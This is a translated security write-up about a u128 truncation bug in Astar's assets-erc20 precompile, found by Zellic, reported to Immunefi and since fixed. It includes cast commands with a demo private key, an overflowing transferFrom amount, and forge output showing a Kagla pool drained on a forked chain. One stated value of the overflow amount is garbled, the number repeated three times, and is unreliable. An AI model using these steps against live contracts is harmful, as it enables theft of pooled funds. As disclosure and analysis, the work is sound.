2023年11月,研究员Faith在Astar上发现了一种漏洞,攻击者可以利用该漏洞窃取价值约40万美元的代币。该漏洞涉及EVM上的智能合约与ERC-20资产的转账操作。通过对漏洞的检测和示例,文章深入分析了漏洞的原理、影响及修复措施。
在2023年11月,Zellic的一位安全研究人员发现了Astar中的一个漏洞,该漏洞可能被恶意行为者利用,窃取价值约40万美元的代币。该漏洞允许任何攻击者从在Astar EVM上部署的某些类型的智能合约中偷取大量资金。
这位安全研究人员Faith与同事vakzz一起,能够确定面临被盗资金的金额,并随后向Immunefi的Astar Network漏洞赏金计划提交了一份报告。
在本博客文章中,我们讨论了漏洞的发现过程、哪些类型的合约存在风险,以及2022年Frontier中一个致命缺陷,它遵循类似的漏洞模式。
Polkadot是一个多链环境,优先考虑跨链通信。在Polkadot中,称为平行链的专用区块链可以在一个安全且无信任的环境中互相通信。
平行链向Polkadot中继链构建并提议区块,这些区块在被加入最终链之前会被验证。通过这种方式,安全保证是由Polkadot中继链提供的,这使得平行链免除了这一责任,从而释放出资源用于其他任务。
Astar就是这样一个平行链。它支持Wasm和EVM智能合约,并提供对以太坊和Polkadot(及其他平行链)的本地访问。
像Astar这样的平行链是使用一种叫做Substrate↗的框架用Rust编写的,Substrate由Parity Technologies维护。Substrate将典型区块链的关键方面(如共识引擎、原生代币处理、智能合约等)模块化为被称为pallets的模块。区块链开发者可以从Substrate提供的标准pallets中挑选所需的模块。他们也可以通过编写自己的自定义pallets来扩展他们的区块链。
为了实现EVM兼容性,基于Substrate的链使用名为Frontier↗的以太坊兼容层。Frontier在Substrate链旁边运行一个EVM链,允许用户部署兼容EVM的智能合约并与之交互,就像在以太坊上那样。在Astar的案例中,这条EVM链被称为Astar EVM。
assets-erc20
预编译Frontier实现了标准的以太坊预编译(如ecrecover
和modexp
),但也允许开发者实现自定义预编译。这些自定义预编译允许在Frontier EVM链上的用户和智能合约与相邻的Substrate链直接通信。
Astar有六个自定义预编译。我们关注的那个称为assets-erc20
,它允许开发者部署本地资产。这些资产遵循ERC-20标准,并以预编译的形式部署在Astar EVM上。
每个资产预编译的地址由将资产ID视为地址(在创建资产时选择)并将前四个字节设置为0xFFFFFFFF
来确定。例如,ID为1的资产将其预编译地址部署在0xFFFFFFFF00000000000000000000000000000001
。
预编译的实现位于precompiles/assets-erc20/src/lib.rs
。查看代码时,我们注意到,无论是transfer()
↗还是transferFrom()
↗函数都将amount
参数从EVM的calldata中取出,作为<BalanceOf<Runtime, Instance>>
类型:
let amount = input.read::<BalanceOf<Runtime, Instance>>()?;
根据代码,BalanceOf
定义如下:
pub type BalanceOf<Runtime, Instance = ()> = <Runtime as pallet_assets::Config<Instance>>::Balance;
pallets_assets::Config
在runtime/astar/src/lib.rs
↗中被定义:
impl pallet_assets::Config for Runtime {
type RuntimeEvent = RuntimeEvent;
type Balance = Balance;
// [ ... ]
}
右侧的=
的Balance
类型是从astar_primitives
crate中导入的。查看primitives/src/lib.rs
↗,我们最终看到Balance
只是u128
的类型别名:
pub type Balance = u128;
在下一部分中,我们讨论使用u128
来跟踪ERC-20转账中的amount
有多么危险。
回想一下,amount
参数是如下从EVM calldata中获取的:
let amount = input.read::<BalanceOf<Runtime, Instance>>()?;
这里,input
的类型是EvmDataReader
。我们可以在这里查看所有uint
类型的read()
函数实现这里↗。
仔细观察后,我们注意到它从calldata读取32个字节,然后使用buffer.copy_from_slice()
复制足够的字节以适应类型的大小(在我们的例子中是u128
)。请注意,32个字节是 256 位。这意味着一个大于u128
的值将被截断为u128
:
let mut buffer = [0u8; core::mem::size_of::<Self>()];
buffer.copy_from_slice(&data[32 - core::mem::size_of::<Self>()..]);
Ok(Self::from_be_bytes(buffer))
记住,ERC-20的transfer()
和transferFrom()
函数都是定义如下的:
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
由于amount
参数是uint256
,用户可以转移超过EVM上u128
的最大值。
有了这个信息,攻击者可以采取以下步骤,欺骗智能合约,以为已转移了大量代币,而实际上根本没有转移任何代币。
transferFrom()
将数量为原生资产的转移从攻击者转到自己(或其他地方)。amount
是攻击者可控的,因此攻击者将其设置为type(uint128).max + 1
= 340282366920938463463374607431768211456340282366920938463463374607431768211456340282366920938463463374607431768211456。amount
直接传递给transferFrom()
。amount
会立即被截断为u128
,这将导致结果为0。它随后将转移零个代币,并返回给智能合约一个成功状态。首先,我们从这里↗下载Astar节点的V5.23.0版本。这是受此漏洞影响的最新版本。可以使用以下命令启动本地开发节点:
./astar-collator --port 30333 --rpc-port 9944 --rpc-cors all --alice --dev
我们可以使用Polkadot.js Web UI与该节点进行交互这里↗。Alice账户资金充裕,有十亿LOC,这是开发节点的Gas代币。
Astar使用SS58地址格式来表示账户。这与Astar EVM使用的H160地址格式不同,以保留EVM的兼容性。由于没有用Gas代币资助的EVM地址,我们需要将一些代币发送到该地址。
这个网站↗可以将EVM地址转换为对应的SS58地址。我们将地址前缀设置为5,因为这是Astar使用的地址前缀。
为了演示,我们使用以下随机生成的EVM地址:
私钥: 0xad4eb50bf0671b67a5172361d7d25e006b6a8d3f6a46757e72bf193d55bb084b
EVM地址: 0x32dE48085A25758d8A78ed1fa396C09b68BF371a
SS58地址: XHgPbWJN954prdDRgRSMFNQn5TPupYNZj9aSzDBh4Pqg1SW
为了用Gas代币为此EVM地址融资,我们使用Polkadot.js Web UI从Alice向上面的SS58地址发送100 LOC。我们使用Foundry验证代币是否已成功到账:
$ cast balance --rpc-url http://127.0.0.1:9944 0x32dE48085A25758d8A78ed1fa396C09b68BF371a
99999999999999999500
可以通过Polkadot.js Web UI上的资产页面↗创建原生ERC-20资产。在这个示例中,我们使用资产ID为1。
正如前面讨论的,资产ID为1将导致该资产的相应预编译部署在0xFFFFFFFF00000000000000000000000000000001
。
由于这是一个新部署的原生资产,此EVM账户的余额将为0。这可以通过以下方式确认:
$ cast call --rpc-url http://127.0.0.1:9944 0xFFFFFFFF00000000000000000000000000000001 "balanceOf(address)(uint256)" 0x32dE48085A25758d8A78ed1fa396C09b68BF371a
0
现在,尝试将100个代币发送至address(0)
应该会导致交易回滚。这是正确的行为:
$ PRIV_KEY=0xad4eb50bf0671b67a5172361d7d25e006b6a8d3f6a46757e72bf193d55bb084b
$ cast send --rpc-url http://127.0.0.1:9944 --private-key $PRIV_KEY 0xFFFFFFFF00000000000000000000000000000001 "transferFrom(address,address,uint256)" 0x32dE48085A25758d8A78ed1fa396C09b68BF371a 0x0000000000000000000000000000000000000000 100
## [.. 回滚错误被截断 ..]
然而,尝试发送type(uint128).max + 1
个代币也应导致回滚。然而实际上,交易却成功执行:
$ cast send --rpc-url http://127.0.0.1:9944 --private-key $PRIV_KEY 0xFFFFFFFF00000000000000000000000000000001 "transferFrom(address,address,uint256)" 0x32dE48085A25758d8A78ed1fa396C09b68BF371a 0x0000000000000000000000000000000000000000 340282366920938463463374607431768211456
## [.. 交易成功被截断 ..]
当确认漏洞时,我们讨论并得出结论实际利用的主要目标将是允许用户将一种代币兑换为另一种代币的流动性池合约。
如果池中的一种代币是原生资产,那么调用transferFrom()
,amount = 340282366920938463463374607431768211456
将成功,而池合约将错误地分配出一笔等价的其它代币。
此外,我们还注意到,这不会在典型的Uniswap-/PancakeSwap式池合约中有效,因为这些池都有余额检查以确保池在交换时收到正确数量的代币。由于大多数池可能属于这一类别,该漏洞的影响将显著减少。
在为ImmuneFi撰写报告时,我们还寻找潜在的可利用池合约。在一些调查后,我们发现这个Kagla Finance池↗,USDT代币作为原生资产在地址0xfFFfffFF000000000000000000000001000007C0
上实现。
幸运的是,其他大多数资金风险较大的池都是前述Uniswap-/PancakeSwap式池的分叉。一个这样的例子可以在这里看到这里↗。
为了展示该漏洞可以用于清空流动性池合约,我们使用来自Alchemy↗的免费节点对Astar主网进行分叉,并试图触发该漏洞。我们遇到的第一个障碍是对分叉后的主网调用预编译时导致回滚。
假设这是由于分叉内自定义预编译不工作,我们在预编译地址上部署了一个自定义USDT合约,以重写transfer()
和transferFrom()
函数,模拟预编译中的漏洞:
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
uint128 a = uint128(amount);
return super.transferFrom(sender, recipient, uint256(a));
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
uint128 a = uint128(amount);
return super.transfer(recipient, uint256(a));
}
完整脚本可以在这里↗找到。我们需要启动自己的Alchemy节点,并在第56行替换URL。脚本应放在foundry
项目的test/
目录中,然后用forge test -vv
运行。运行脚本时观察到以下输出:
清空Kagla USDT-3KGL池
pool.coins(0): 0xfFFfffFF000000000000000000000001000007C0
pool.coins(1): 0x18BDb86E835E9952cFaA844EB923E470E832Ad58
usdt.balanceOf(address(pool)) : 267994933776
3kgl.balanceOf(address(pool)): 291685254371187444973263
3kgl.balanceOf(address(this)): 0
现在准备清空池...
usdt.balanceOf(address(pool)) : 267994933776
kgl3.balanceOf(address(pool)): 344772682844125187126
3kgl.balanceOf(address(this)): 291340481688343319786137
该输出显示,攻击合约现在获得了约291,340.48个3KGL代币,相当于约267,678美元。
Astar Network的漏洞赏金政策是奖励所有可以证明存在风险的资金的10%,最低奖励为50,000美元,最高奖励为250,000美元。
尽管还有其他少数易受攻击的池,但面临的风险资金量并不足以进行进一步调查。若这一漏洞在一年后的同样条件下出现,影响可能会大得多,因为原生资产会获得更广泛的使用。
经过调查,我们得出结论,在发现此漏洞时,面临风险的金额可能不超过 400,000 美元,这意味着支付的奖励将是50,000美元的最低值。
尽管从奖励的角度来看时间安排有些不幸,但我们很高兴在大量资金面临被恶意行为者盗取风险之前找到了这个漏洞。
在查看DefiLlama↗上按TVL排序的前10个平行链时,我们发现仅有另一条链具有相同漏洞——Parallel Finance。
幸运的是,查看其原生资产持有者这里↗时,它们似乎没有使用任何EVM合约作为流动性池。事实上,它们似乎根本没有在其EVM链上使用原生资产。因此,其链上没有资金面临风险。
尽管如此,我们还是将漏洞报告给了他们。该漏洞已在该提交↗中修复。
一些读者可能注意到这个漏洞与pwning.eth在Frontier中发现的整数截断漏洞↗非常相似。本文中展示的漏洞是在2022年4月26日的此PR↗中引入的。这意味着它已经静默存在并等待被发现(或被利用)超过一年半。
那么问题是,为什么又引入了如此相似的漏洞?基于Substrate的区块链开发者无疑在现在会意识到该漏洞模式,对吗?
我们的观点是,Frontier EVM兼容层在余额跟踪方面存在根本缺陷。这是因为Rust不原生支持u256
类型,这迫使Substrate使用u128
类型来存储代币余额。这进一步迫使开发者在从EVM的值转换过程中手动检查整数截断。这很不幸,因为开发者忘记包含这样的检查的机会足够显著,以至于应当有一个原生的u256
类型。
幸运的是,除了向预编译添加手动截断检查之外,Astar团队还修改了EvmDataReader::read()
函数,以现在包含截断检查。在API中实施检查以读取来自EVM calldata的值绝对是正确的修复,因为它将防止未来再次引入相同的漏洞。
Zellic专注于保护新兴技术。我们的安全研究人员在最有价值的目标中发现了漏洞,从财富500强到DeFi巨头。
开发者、创始人和投资者信赖我们的安全评估,以快速、自信且没有重大漏洞地交付产品。凭借在现实世界攻击性安全研究方面的背景,我们发现其他人未能识别的问题。
联系我们↗进行一次更好的审计。真正的审计,而非流于形式的认证。
- 原文链接: zellic.io/blog/finding-a...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!